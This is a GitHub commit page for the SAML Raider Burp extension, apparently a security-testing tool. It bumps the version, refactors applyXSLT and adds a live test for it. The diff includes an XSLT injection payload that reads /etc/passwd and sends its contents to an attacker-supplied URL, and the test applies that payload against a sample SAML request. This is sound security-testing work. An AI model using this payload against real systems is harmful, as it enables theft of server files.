Skip to content

Commit

Permalink
Merge pull request #79 from CompassSecurity/thort/issue78
Browse files Browse the repository at this point in the history
Thort/issue78
  • Loading branch information
emanuelduss authored Oct 2, 2024
2 parents 13d08c1 + 3ef74a6 commit 3917ccb
Show file tree
Hide file tree
Showing 6 changed files with 256 additions and 53 deletions.
6 changes: 3 additions & 3 deletions BappManifest.bmf
Original file line number Diff line number Diff line change
Expand Up @@ -2,12 +2,12 @@ Uuid: c61cfa893bb14db4b01775554f7b802e
ExtensionType: 1
Name: SAML Raider
RepoName: saml-raider
ScreenVersion: 2.0.2
SerialVersion: 16
ScreenVersion: 2.0.3
SerialVersion: 17
MinPlatformVersion: 0
ProOnly: False
Author: Roland Bischofberger / Emanuel Duss / Tobias Hort-Giess
ShortDescription: Provides a SAML message editor and a certificate management tool to help with testing SAML infrastructures.
EntryPoint: build/libs/saml-raider-2.0.2.jar
EntryPoint: build/libs/saml-raider-2.0.3.jar
BuildCommand: ./gradlew jar
SupportedProducts: Pro, Community
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -79,7 +79,7 @@ Don't forget to rate our extension with as many stars you like :smile:.
### Manual Installation

First, download the latest SAML Raider version:
[saml-raider-2.0.2.jar](https://github.com/SAMLRaider/SAMLRaider/releases/download/v2.0.2/saml-raider-2.0.2.jar).
[saml-raider-2.0.3.jar](https://github.com/SAMLRaider/SAMLRaider/releases/download/v2.0.3/saml-raider-2.0.3.jar).
Then, start Burp Suite and click in the `Extensions` tab on `Add`. Choose the
SAML Raider JAR file to install it and you are ready to go.

Expand Down
2 changes: 1 addition & 1 deletion build.gradle
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@ plugins {
id "java-library"
}

version = "2.0.2"
version = "2.0.3"

repositories {
mavenCentral()
Expand Down
107 changes: 59 additions & 48 deletions src/main/java/application/SamlTabController.java
Original file line number Diff line number Diff line change
Expand Up @@ -16,9 +16,14 @@
import gui.XSWHelpWindow;
import helpers.XMLHelpers;
import helpers.XSWHelpers;
import java.awt.Component;
import java.awt.Desktop;
import java.awt.Toolkit;
import model.BurpCertificate;
import org.w3c.dom.*;
import org.xml.sax.SAXException;

import javax.xml.crypto.MarshalException;
import javax.xml.crypto.dsig.XMLSignatureException;
import javax.xml.parsers.ParserConfigurationException;
import java.awt.*;
import java.awt.datatransfer.Clipboard;
import java.awt.datatransfer.StringSelection;
import java.io.File;
Expand All @@ -36,33 +41,23 @@
import java.util.List;
import java.util.Observable;
import java.util.Observer;
import javax.xml.crypto.MarshalException;
import javax.xml.crypto.dsig.XMLSignatureException;
import javax.xml.parsers.ParserConfigurationException;
import model.BurpCertificate;
import org.w3c.dom.DOMException;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

import static java.util.Objects.requireNonNull;

public class SamlTabController implements ExtensionProvidedHttpRequestEditor, Observer {

private static final String XML_CERTIFICATE_NOT_FOUND = "X509 Certificate not found";
private static final String XSW_ATTACK_APPLIED = "XSW Attack applied";
private static final String XXE_CONTENT_APPLIED = "XXE content applied";
private static final String XML_NOT_SUITABLE_FOR_XXE = "This XML Message is not suitable for this particular XXE attack";
private static final String XSLT_CONTENT_APPLIED = "XSLT content applied";
private static final String XML_NOT_SUITABLE_FOR_XLST = "This XML Message is not suitable for this particular XLST attack";
private static final String XML_COULD_NOT_SIGN = "Could not sign XML";
private static final String XML_COULD_NOT_SERIALIZE = "Could not serialize XML";
private static final String XML_NOT_WELL_FORMED = "XML isn't well formed or binding is not supported";
private static final String XML_NOT_SUITABLE_FOR_XSW = "This XML Message is not suitable for this particular XSW, is there a signature?";
private static final String NO_BROWSER = "Could not open diff in Browser. Path to file was copied to clipboard";
private static final String NO_DIFF_TEMP_FILE = "Could not create diff temp file.";
public static final String XML_CERTIFICATE_NOT_FOUND = "X509 Certificate not found";
public static final String XSW_ATTACK_APPLIED = "XSW Attack applied";
public static final String XXE_CONTENT_APPLIED = "XXE content applied";
public static final String XML_NOT_SUITABLE_FOR_XXE = "This XML Message is not suitable for this particular XXE attack";
public static final String XSLT_CONTENT_APPLIED = "XSLT content applied";
public static final String XML_NOT_SUITABLE_FOR_XSLT = "This XML Message is not suitable for this particular XSLT attack";
public static final String XML_COULD_NOT_SIGN = "Could not sign XML";
public static final String XML_COULD_NOT_SERIALIZE = "Could not serialize XML";
public static final String XML_NOT_WELL_FORMED = "XML isn't well formed or binding is not supported";
public static final String XML_NOT_SUITABLE_FOR_XSW = "This XML Message is not suitable for this particular XSW, is there a signature?";
public static final String NO_BROWSER = "Could not open diff in Browser. Path to file was copied to clipboard";
public static final String NO_DIFF_TEMP_FILE = "Could not create diff temp file.";

private final CertificateTabController certificateTabController;
private XMLHelpers xmlHelpers;
Expand Down Expand Up @@ -433,6 +428,10 @@ private void setInfoMessageText(String infoMessage) {
samlGUI.getActionPanel().getInfoMessageLabel().setText(infoMessage);
}

public String getInfoMessageText() {
return samlGUI.getActionPanel().getInfoMessageLabel().getText();
}

private void resetInfoMessageText() {
samlGUI.getActionPanel().getInfoMessageLabel().setText("");
}
Expand Down Expand Up @@ -534,33 +533,45 @@ public void applyXXE(String collabUrl) {
}

public void applyXSLT(String collabUrl) {
String xslt = "\n" +
"<ds:Transform>\n" +
" <xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n" +
" <xsl:template match=\"doc\">\n" +
" <xsl:variable name=\"file\" select=\"'test'\"/>\n" +
" <xsl:variable name=\"escaped\" select=\"encode-for-uri('$file')\"/>\n" +
" <xsl:variable name=\"attackURL\" select=\"'" + collabUrl + "'\"/>\n" +
" <xsl:variable name=\"exploitURL\" select=\"concat($attackerURL,$escaped)\"/>\n" +
" <xsl:value-of select=\"unparsed-text($exploitURL)\"/>\n" +
" </xsl:template>\n" +
" </xsl:stylesheet>\n" +
"</ds:Transform>";
String transformString = "<ds:Transforms>";
var prefixed = true;
var transformString = "<ds:Transforms>";

int index = orgSAMLMessage.indexOf(transformString);
if (index == -1) {
prefixed = false;
transformString = "<Transforms>";
}

index = orgSAMLMessage.indexOf(transformString);
if (index == -1) {
setInfoMessageText(XML_NOT_SUITABLE_FOR_XLST);
} else {
int substringIndex = index + transformString.length();
String firstPart = orgSAMLMessage.substring(0, substringIndex);
String secondPart = orgSAMLMessage.substring(substringIndex);
samlMessage = firstPart + xslt + secondPart;
textArea.setContents(ByteArray.byteArray(samlMessage));
isEdited = true;
setRawMode(true);
setInfoMessageText(XSLT_CONTENT_APPLIED);
setInfoMessageText(XML_NOT_SUITABLE_FOR_XSLT);
return;
}

var prefix = prefixed ? "ds:" : "";
var xslt = """
<%sTransform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'%s'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</%sTransform>
""".formatted(prefix, collabUrl, prefix);

int substringIndex = index + transformString.length();
String firstPart = orgSAMLMessage.substring(0, substringIndex);
String secondPart = orgSAMLMessage.substring(substringIndex);
samlMessage = firstPart + xslt + secondPart;
textArea.setContents(ByteArray.byteArray(samlMessage));
isEdited = true;
setRawMode(true);
setInfoMessageText(XSLT_CONTENT_APPLIED);
}

public synchronized void addMatchAndReplace(String match, String replace) {
Expand Down
96 changes: 96 additions & 0 deletions src/main/java/livetesting/ApplyXsltTest.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,96 @@
package livetesting;

import application.CertificateTabController;
import application.SamlMessageAnalyzer;
import application.SamlMessageDecoder;
import application.SamlTabController;
import burp.api.montoya.http.message.HttpRequestResponse;
import burp.api.montoya.http.message.params.HttpParameterType;
import burp.api.montoya.http.message.requests.HttpRequest;
import gui.CertificateTab;

public class ApplyXsltTest {

private final String rawRequest = """
POST /api/oauth/saml HTTP/1.1
Host: sso.eu.boxyhq.com
Content-Length: 13516
Cache-Control: max-age=0
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
Origin: https://mocksaml.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://mocksaml.com/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
SAMLResponse=PHNhbWxwOlJlc3BvbnNlIElEPSJfZmQ2MDFlMjEtNWY4MS00NjllLTg4YzctZGE3MmRjY2YxMzU3IiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAxNS0wNC0wNlQwNjo0MjozOS4yMTNaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9zYW1sY2VudC9TaGliYm9sZXRoLnNzby9TQU1MMi9QT1NUIiBDb25zZW50PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6Y29uc2VudDp1bnNwZWNpZmllZCIgSW5SZXNwb25zZVRvPSJfNTQ1ZTYwZmUzNjAyYTA2ZDI1ZjI0MWI2MjJjNWE3NzMiIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiPjxJc3N1ZXIgeG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iPmh0dHA6Ly9TQU1MV0lOLnNhbWwubGFuL2FkZnMvc2VydmljZXMvdHJ1c3Q8L0lzc3Vlcj48c2FtbHA6U3RhdHVzPjxzYW1scDpTdGF0dXNDb2RlIFZhbHVlPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6c3RhdHVzOlN1Y2Nlc3MiIC8%2BPC9zYW1scDp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bWU9InVybjpvaWQ6MS4zLjYuMS40LjEuNTkyMy4xLjEuMS42IiBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OnVyaSI%2BPEF0dHJpYnV0ZVZhbHVlPmJvd3NlckBzYW1sLmxhbjwvQXR0cmlidXRlVmFsdWU%2BPC9BdHRyaWJ1dGU%2BPC9BdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAxNS0wNC0wNlQwNjo0MjozOS4xNzhaIj48QXV0aG5Db250ZXh0PjxBdXRobkNvbnRleHRDbGFzc1JlZj51cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvQXV0aG5Db250ZXh0Q2xhc3NSZWY%2BPC9BdXRobkNvbnRleHQ%2BPC9BdXRoblN0YXRlbWVudD48L0Fzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPg%3D%3D&RelayState=ss%3Amem%3Af3a11b409a62a95ea2f4620efb845bb0ad02dfde2e68e372cebb823ae01a3694""";

@TestOrder.Order(1)
public TestResult isSAMLMessage() {
try {
var request = HttpRequest.httpRequest(rawRequest);
var analysis = SamlMessageAnalyzer.analyze(request, "SAMLRequest", "SAMLResponse");
var success = analysis.isSAMLMessage();
return new TestResult(success, null, null);
} catch (Exception exc) {
return new TestResult(false, null, exc);
}
}

@TestOrder.Order(2)
public TestResult isSAMLResponse() {
try {
var request = HttpRequest.httpRequest(rawRequest);
var analysis = SamlMessageAnalyzer.analyze(request, "SAMLRequest", "SAMLResponse");
var success = analysis.isSAMLMessage() && !analysis.isSAMLRequest();
return new TestResult(success, null, null);
} catch (Exception exc) {
return new TestResult(false, null, exc);
}
}

@TestOrder.Order(3)
public TestResult canDecodeSAMLMessage() throws Exception {
try {
var request = HttpRequest.httpRequest(rawRequest);
var analysis = SamlMessageAnalyzer.analyze(request, "SAMLRequest", "SAMLResponse");
var body = request.parameterValue("SAMLResponse", HttpParameterType.BODY);
var decodedSamlMessage = SamlMessageDecoder.getDecodedSAMLMessage(body, analysis.isWSSMessage(), analysis.isWSSUrlEncoded());
return new TestResult(true, decodedSamlMessage.message(), null);
} catch (Exception exc) {
return new TestResult(false, null, exc);
}
}

@TestOrder.Order(4)
public TestResult canApplyXsltAttack() throws Exception {
try {
var certificateTab = new CertificateTab();
var certificateTabController = new CertificateTabController(certificateTab);
var samlTabController = new SamlTabController(true, certificateTabController);
var request = HttpRequest.httpRequest(rawRequest);
var requestResponse = HttpRequestResponse.httpRequestResponse(request, null);
samlTabController.setRequestResponse(requestResponse);
samlTabController.applyXSLT("https://example.com");
var infoMessageText = samlTabController.getInfoMessageText();

var success = SamlTabController.XSLT_CONTENT_APPLIED.equals(infoMessageText);

if (!success) {
return new TestResult(false, infoMessageText, null);
}

request = samlTabController.getRequest();
var analysis = SamlMessageAnalyzer.analyze(request, "SAMLRequest", "SAMLResponse");
var body = request.parameterValue("SAMLResponse", HttpParameterType.BODY);
var decodedSamlMessage = SamlMessageDecoder.getDecodedSAMLMessage(body, analysis.isWSSMessage(), analysis.isWSSUrlEncoded());
return new TestResult(true, decodedSamlMessage.message(), null);
} catch (Exception exc) {
return new TestResult(false, null, exc);
}
}
}
Loading

0 comments on commit 3917ccb

Please sign in to comment.